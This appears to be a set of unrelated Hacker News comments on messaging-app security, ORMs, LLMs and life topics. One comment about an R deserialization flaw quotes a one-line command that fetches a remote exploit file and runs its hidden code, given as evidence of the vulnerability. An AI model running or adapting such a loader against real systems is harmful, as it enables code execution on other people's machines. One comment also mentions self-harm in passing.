skysight-inc/HackerNews huggingface dataset:
Last I used Telegram, creating an e2ee chat with someone added an encrypted chat in addition to the unencrypted chat. This means if your not careful in which chat with a single person a message is sent to it's easy to accidentally send unencrypted data.

I'd guess this is possible because Telegram e2ee chats aren't multi-device capable, so it's necessary to be able to use unencrypted chats while using Telegram on something else than the phone with e2e.
That is exactly where ORMs help. The problem is all of the other stuff with it. When most people just need a simple mapper. Not something to build their SQL statements for them (which seems to be why most people pick it).

But that comes to the second problem. Most devs I meet seem to be deathly allergic to SQL. :)

One project I had a dev come to me asking me to look at a bug in the thing. Having never seen that particular ORM before I was able to diagnose what was wrong. Because MS ORMs have the same issues over and over (going back to the 90s). You better read those docs! Because whatever they did in this stack will be in their next one when they abandon it in place 3 years from now.
> Safari with its market share

Safari's market share is completely dwarfed by Chrome. Safari is nowhere close to IE's monopoly.

Forced WebKit on iPhones and iPads is the only thing standing between Chrome and complete IE monopoly.
Um, yes. When the “place that some people don’t like” is all sorts of CIA-connected NGOs and you’re a member of group defined by its paranoia about privacy, then absolutely this becomes disqualifying.
"instead of talking to me, can you write a message on public Slack channel, or even better, make a github issue"

Right because context switches are very expensive, and you are just one person. If everyone did what you did, the other end would be busy talking and not doing.

Instead, file your bug/report and give some indication of criticality. I understand why you don't like this approach but think of it from the other side's perspective.
F-Droid uses a package maintainer-esque process where the maintainers of F-Droid can intervene and prevent an update to an app from reaching users if it's deemed to be malicious or to add anti-features.

It's of particularly high need on mobile since popular apps, even those who were originally FOSS, are sold to scummy publishers who fill it with ads and subscription schemes (oft called anti-features, since removing them could be seen as a feature in and of itself), ruining the original. You can't really trust mobile app devs because the track record is downright awful. Recently that happened with the "Simple" collection of apps, where the Play Store version got filled with junk but the F-Droid maintainer froze the version and marked the apps as outdated since nobody could conceivably want the new versions.

Of course, that strokes poorly with developers who a. don't want to deal with potential third parties in their distribution chain rejecting their updates or b. are planning to add anti-features to their apps later down the line. With signal, I'm gonna guess it's mainly a; the Play Stores checks and balances are much less invasive than the sort of thing an F-Droid maintainer might check for. (As I understand it, Google Plays checks mostly are anti-exploit and keyword scans.)
Telegram has moved to Dubai long ago so no idea where you get the idea that FSB can strong-arm them from.
> The released source code has lagged behind the version on the Google Play store by long periods of time many times.

Seems like FUD. This took me 30 seconds to check just now:

-Telegram's android source code git hasn't had a tagged release in more than two months and is several versions behind the android app (10.12.0 vs 10.9.1)[1]

-Signal's android source has a tagged release two days ago that is two releases ahead of the stable version on google's app store, and also lists the tagged release for the version that is on the app store.[2]

[1] https://github.com/DrKLO/Telegram/releases

[2] https://github.com/signalapp/Signal-Android/tags
Yes: https://telegram.org/blog/ultimate-privacy-topics-2-0
Note it comes as a .tgz but is really only a tar file, not gzipped
Moving towards a self-thinking app
The answer is yes for most people. You can type in pseudocode for simple things and out pops something that basically works for a significant number of languages. Its absolutely terrible for really complex problems but most code is not solving complex problems.
>> Signal has launched support to use nicknames

Wow, really? ICQ had that in 1996 ...
>Living in apartments feels disrespectful to humanity.

If you live in a good apartment, then it's fine.

Author doesn't properly touch on the subject that matters here.

Economists know what the optimal neighbourhood looks like. Optimal densities relative to culture. There's loads of these communities all around the world; very often with a strong religious theme. Jews are particularly good at forming these sorts of communities. Jehovahs, amish, etc. All really good at this.

There's nothing wrong with a city, you can build these inside a city. The more vertical you go, the easier it is to fit them in.

You can invest along this path rather successfully. One of the easier ways to beat S&P500 index funds.

What the author seems to have failed on is joining one of these communities. They live in a city on their own and obviously that's going to go poorly. Then they go to other extreme of lets move to the middle of nowhere and escape society. Which is also wrong.

You need to find your tribe that is you. That's how to get in touch with human nature.
Here's the other side:

https://news.ycombinator.com/item?id=40301508

https://news.ycombinator.com/item?id=40336005

https://news.ycombinator.com/item?id=40330694

https://news.ycombinator.com/item?id=40308241

https://news.ycombinator.com/item?id=40299313

https://news.ycombinator.com/item?id=40298608

https://news.ycombinator.com/item?id=40279661

https://twitter.com/jack/status/1787895769183268948

https://twitter.com/elonmusk/status/1787908190799278360

https://twitter.com/elonmusk/status/1787589564917490059
In applications using pickle on untrusted data, that's a big distinction. There are a huge number of similar java and c# object serializationg bugs as well.
It is kind of too late at that point. Good security requires proactive measures.
When Alexa devices first appeared, when you asked for songs by Dick Van Dyke it would beep out his first name when repeating it.
Code injection on Windows (2023)
You don't want ACKs on every frame but video streaming can be made more efficient if you do checkpoints (which informs the encoder that the other side has some data, which means it can compress more efficiently).
How do you inspect what is happening then without having ADCs sampling every weight, taking up huge die area?
It is pretty bad bait, but then this whole thread is a dumpster fire of distraction from any substance.
If you think of it more as a meditative time, putting it on your calendar seems to make perfect sense. Simple quiet off time is really easy to skip. Not work, not chores, not take a nap, not make dinner, not read HN, not play with the kids. Just sit and not do anything and not feel the need to do anything for an hour.

To be sure, I do a whole bunch of nothing throughout the day, but that's usually just in avoidance of "productive" work. I don't feel meaningfully better having wandered off to get a coffee and stare out the window for a few minutes; in fact, I sometimes feel more pressure to get back to the grind, as if I'd wasted that time.
>On the consumer side, Apple silicon is also quite capable.

I am not sure that is true. A glance/or long stay at the reddit localllama subreddit basically has a bunch of frustrated CPU users trying their absolute best to get anything to work at useful speeds.

When you can get an Nvidia GPU for a few hundred dollars or a full blown gaming laptop with a 4050 6gb vram for $900, its hard to call a CPU based AI capable.

Heck we don't have GPUs at work, and CPU based is just not really reasonable without using tiny models and waiting. We ended up requesting GPU computers.

I think there is a 'this is technically possible', and there is a 'this is really nice'. Nvidia has been really nice to use. CPU has been miserable and frustrating.
I can understand that if they didn't compile it themselves they don't want 3rd parties using the 'Signal' name.

The name is what their reputation is staked on, and if a third party compiled it they have no idea if malware is secretly packaged in there too.

Having said that, the smart move is to dedicate a few engineer hours to packaging it for every linux distribution and every app store, even the smallish ones, to prevent others trying to 'be helpful' and requiring you to send a takedown.
- "I don't like where one of their board worked" (find someone high up in the cryptography ecosystem who hasn't been involved in this sort of thing somewhere in their career)

- "I don't like where their funding comes from" (US govt regularly funds secure software because they depend on it for their own operations, see: Tor)

- "An alarming number of people think their chats were leaked". It's easy to state things without sources. Also an alarming number of people think Facebook listens to them through their phones' mic. People are bad at opsec. Not news.

- "No reproducible builds. They closed a GitHub request from the community." Well, except Android is reproducible, and they explicitly state on that closed issue that they don't do feature requests via GitHub and asked the reporter to raise in the proper channel.

- "Telegram is the only service with reproducible builds". Telegram barely has encrypted chats, reproduce all you like, that doesn't make the chats secure. Signal has E2E encryption and verifiable builds for Android, that's a strictly better security position.
It can use encryption. But they choose not to for probably lazy reasons. Which is bad for normal persons, even worse for generals who should lead by example - and ridiculous for generals with an background in IT who really should know better. But as far as I know, there were no real consequences so apparently it was not such a big deal.

https://en.m.wikipedia.org/wiki/German_Taurus_leak
Why everyone is heading back to the Moon
https://archive.ph/IFa71
This is timely, in the middle of restoring a Mac Classic - looks like something fun for it to do.
One example is a prompt like:

Find inconsistencies with data that should be structured in a certain way (...data...), give me JSON response of actions to fix the data.

GPT-3.5 gives pointless things, very rarely any of the important things, or simply makes up things, while GPT-4 seems to spot everything at least on the data I provide.

What is the geometric data you generate?
Their problem is that F-Droid releases are signed by F-Droid, not by Signal. This way F-Droid could potentially insert a backdoor in an update.
I don't really need a library like this, but I want to comment to say how much I like the way you made it. Very minimal in itself and also in its dependencies. Very clear documentation in the readme. I wish more libraries and tools were distributed like this.
this is honestly quite surprising... why are they so adamant? we know telegram is not super safe, but at least is not facebook.
Indeed, the same mechanism is used by Bloomberg for gift links. A signed JWT with expiry 7 days from creation. A fitting use case in my opinion.
There is an alternate option which is stop putting everything online and using the cloud.

The benefits have been greatly oversold by BigTech multimillion $$$ sales teams. They are lots of stories of bribery involving these contracts.
One of my particular adhd symptoms is Oppositional Defiant Disorder https://www.additudemag.com/oppositional-defiant-disorder-in...

In short, if I get to decide when to do something, that's great. If someone asks me to do it, or worse _tells_ me, this kicks in and it takes a huge effort of will to overcome my opposition to it. I've noticed this is also true of 'systems' like calendars.

If you then combine this with my impaired executive function, and difficulty I task switching (to more on the list of symptoms), you get a cocktail of both anxiety and oppositional thought, which results in me doing nothing and internalising the berating that every authority figure in my life gave me because I'm lazy, rather than having a neurodevelopmental disorder.
> We reject the idea that there are wider security implications associated with promises or serialization, both of which are core features of the language.

Isn't this demonstrably false? I.e. run this [1]

load(url("https://github.com/hrbrmstr/rdaradar/raw/main/exploit.rda"))

and it opens the calculator application on windows/macOS (or echo's 'pwnd' on linux).

When someone can easily cause their hidden system code to run on my computer, that's a pretty serious vulnerability. read.csv() and fromJSON() do not allow this.

I happen to have packages on CRAN that readRDS() from AWS S3. So if I happen to be evil and make some trivial alterations to those RDS files to contain a hidden payload, well, it's child's play. That does not seem sane to me.

FWIW, my recommendation is to create a function like readRDS() that only reads data (and does not allow any extra code to be run), then use that in place of the traditional readRDS() on CRAN. Then if someone did craft a malicious payload, it wouldn't matter. The (harder) alternative would be to disallow any functions that have this remote code execution 'feature', e.g. only read.csv() or fromJSON() and similar.

[1] https://rud.is/b/2024/05/03/cve-2024-27322-should-never-have...
The Privacy of Push Notifications
ton and tron are not the same thing
The official Signal stance has been last I checked:

>we really don't want forked versions of the app maintained by other parties connecting to our servers.
From your own link:

> Recently, in [MV21 ] MTProto 2.0 (the current version) was proven secure in a symbolic model, but assuming ideal building blocks and abstracting away all implementation/primitive details.

Translation: it is secure, except for bugs, if any.
Looking in the past doesn't change much, because the agent exists in the past too and is a cause of the present agent. But choice really happens in present, so distant past is a wrong place to look at, but if you look in the wrong place it's expected that you don't see anything.
would it matter if the server was open source? You'd know have no proof what is what they run on the actual server anyway, nor can you use a custom server.
Apparently in hospitals there are more Caesarian Sections around holiday periods as doctors just want to get home.

I wonder what happens close to lunch time or home time in the drone office.
I mean, 'compose the best symphony' is not easy because it's subjective, but certainly 'sing these lyrics in the style of the Beatles' is not future tech, it's now.

Similarly, AIs have huge successes on the stock market already, the reason you still can't really reliably make money doing this as an individual is because individuals don't have access to the same amount of information/data quality, they don't have high speed connections to exchanges, they're normally taking risks with their own money (that they can't afford to lose) and they don't have the compute that big firms can throw at it.
Snappy UI Optimization with UseDeferredValue
It's a fair point. Most of our customers work with CPP, C# and Java in enterprise / back office contexts, which is why no PHP or Javascript right now - we've been tied up with other priorities. That said we just added Python to our main SDK and PHP is coming.

Plus our enterprise automation product can basically talk to anything via REST API ( https://www.pdf-tools.com/docs/conversion-service/api/conver... ).

But yeah - now you got me fired up to annoy some colleagues ;)
* enough valid accounts. If the instance gets popular, you're going to need hundreds of them to get past rate limits according to the announcements some time ago (maybe the rate limits have changed though)
>I feel it is my duty to care for my parents

As a parent and a child who saw my parents waste all of their youth being a cook/nurse/maid for my paternal grandparents that lived way too long, I feel it is my duty to end myself (I’m sure this is easier said than done), or at least free my kids of the expectation that they need to care for me, so that they can prioritize their life for themselves and their kids’ futures.

Transport to a few doctor appointments and helping out a few hours per week is no big deal, but I don’t want to see my kids organizing their life around supporting me.
I don't get it, show you what? You want me to google it and pick a few examples? What purpose would that even serve? It's not even my main point (that you ignored), and I sense you have some "angle" you're pushing because you think it's some sure-fire put-down of AI generated images.
I created a very simple example if you want to test - to me that's an amazing leap:

*Find inconsistencies in the following:*

The car started driving with 50l in tank.
Car drove 10km. Car uses 2l per km.
Car had 10l of fuel left.

*GPT-3.5 responds:*

> There are no inconsistencies in the given information.

*GPT-4:*

> Let's analyze the information provided:

1. The car started with 50 liters of fuel in the tank.
2. The car drove 10 kilometers, and it uses 2 liters of fuel per kilometer.

To calculate the amount of fuel used:
Fuel used = Distance driven × Fuel consumption per km
Fuel used = 10 km × 2 l/km = 20 liters

Now, let's calculate the remaining fuel after driving 10 kilometers:
Remaining fuel = Initial fuel - Fuel used
Remaining fuel = 50 liters - 20 liters = 30 liters

However, it is stated that the car had 10 liters of fuel left, which is inconsistent with the calculation. Based on the given fuel consumption and distance driven, the car should have 30 liters left, not 10 liters. This is the inconsistency in the information provided.
I believe GPS also uses multiple wavelengths to allow estimation of signal delay from passage through the ionosphere.

The way Martian meteorites are identified is from isotopes of inert gases (neon, argon, for example). Mars has a particular pattern of these that's been measured by landers there. Meteorites from the moon are identified by oxygen isotopes, which are on the same line on the oxygen isotope plot as Earth rocks (this is also a strong clue about the origin of the moon.)
I agree it's possible to work 10+ hours on occasion. I quickly looked up German laws regarding working hours, and it seems like the legal weekly maximum is 60h (6x 10h per day) which should cover very occasional crunch time to meet deadlines (that's 50% more than the average work week), but long-term average over 6 months must not exceed 48h/week, which seems sensible.

> To be clear this is in a startup context, an organization which is highly informal and tries to be extremely productive in a short amount of time to create some viable product.

I understand, though I don't believe that working long hours is a productive use of anyone's time over time periods longer than a few weeks. From my personal experience working longer than ~8h impacts both concentration and quality, which decimate efficiency of any subsequent hours worked (more bugs then mean more time needed to fix these bugs, which just adds to the crunch).

After a while these side-effects begin to bleed into the next workday which ultimately nullifies the benefits of longer hours.
Sadly by the looks of some of the replies here, never will recover from, since people seem unaware that it never used to do that, and would delightfully size itself to the content. This is the #1 feature that I really loved about Mac OS window management.
The pretraining might not matter here so much as the instruct fine-tuning.

The small GLM models were like 50-50 English-Chinese in pretraining but much more Chinese in instruct training. Had the same issue until they balanced that.
WASM performance seems mostly fine for most applications [1]. Certainly better than Python or Ruby. Maybe running in the browser is a bit of a different story, given that it has to go through JS to manipulate the DOM, but I don't think this is a problem that can be solved with more developers.

[1] https://00f.net/2023/01/04/webassembly-benchmark-2023/
I don't think anybody here is upholding Wittgenstein as an exemplar of an emotionally well-adjusted person. I'm not proselytizing for him, just explaining his take to the best of my ability.

I don't disagree with this criticism of his position either, for what it's worth - Personally I think Wittgenstein ignores empathy as a transfer of embodied nonspoken knowledge, for one.

It'd be one thing if his example were of something very radically different (IE space aliens), but social mammals like lions and whales and humans all learn to navigate the world through the presence of others first and foremost. Long before you have any awareness of language, even long before birth, you will have an awareness of closeness. You will primarily learn to navigate the world by way of your relationships to others. That goes whether you're a lion cub or a human baby.
> Factually incorrect, just go to https://signal.org/android/apk/ (and the apk will then update itself) or build it yourself.

That page tells me that the safest way is to have a Google account, with Google Play Services installed on my phone, and to download it from the Google Play Store.

It then gives me an APK link after saying "Danger zone" and "most users should not do this".

If the app developer tells me it's dangerous and I shouldn't do it, can you even expect users to do this?
Is that AaaS? (API as a service).
> The meaning of "bear's service" originally comes from a fable about a man and a bear. The bear wanted to help the man by killing a gnat which sat on his forehead. As a result both the gnat and the man died.

Basically, by being proactive you do more damage as if you didn't do anything.
Cool.

1 hour later.

Spam-scraper updated to support this.
This is a literal translation of a Russian idiomatic expression.
Just because it's always happened doesn't mean that present day complicity in it is fine.
This issue is sadly all just identity politics. Telegram is frequently associated with fringe groups, conspiracy theorists, anti-vaxxers, and "the right". Signal is pushed by the sort of lefty-liberals who quit Twitter, by journalists, and more associated with the mainstream media.

This is not to group everyone, I realise there are communities that cross that divide, and this is no judgement of people using either. But I think this divide will continue as the political trends continue. Both sides believe they are right, both more than they perhaps should given the evidence. That said, I'll stick with the one the cryptography/security nerds are using, not the one they think is a honeypot.
Generally, if you're patching the kernel you should coordinate with upstream if you care about your ABI.
I didn't even know Line was still a thing!
Apart from investing ask about his motivations. Possible he wants a regular pay-check and health insurance for example. I met an investor (in Europe) who invested in a startup in exchange for a seat in the office while only working part-time.
I am a good person in spite of my parents.

My existence is difficult because my parents were abusive and negligent to a disabled child. My right to exist was questioned by the very people who created me.

Is there a viable path toward realizing that I am 'allowed' to feel unconditional gratitude towards my parents for existing?
Yes it is, and that's why I didn't make it. I already said that there are problems that should be solved, but the fact that companies aren't free to do anything they want, unchecked, isn't one of them.
To be fair for users in glibc itself this wasn't much of a problem.
ORMs don’t mandate mapping the whole table either, you are free to create multiple entities per table/view.
Large, heavy and blunt-shaped motor vehicles put everybody outside of them at risk, especially the most vulnerable: children, pedestrians and people riding bicycles.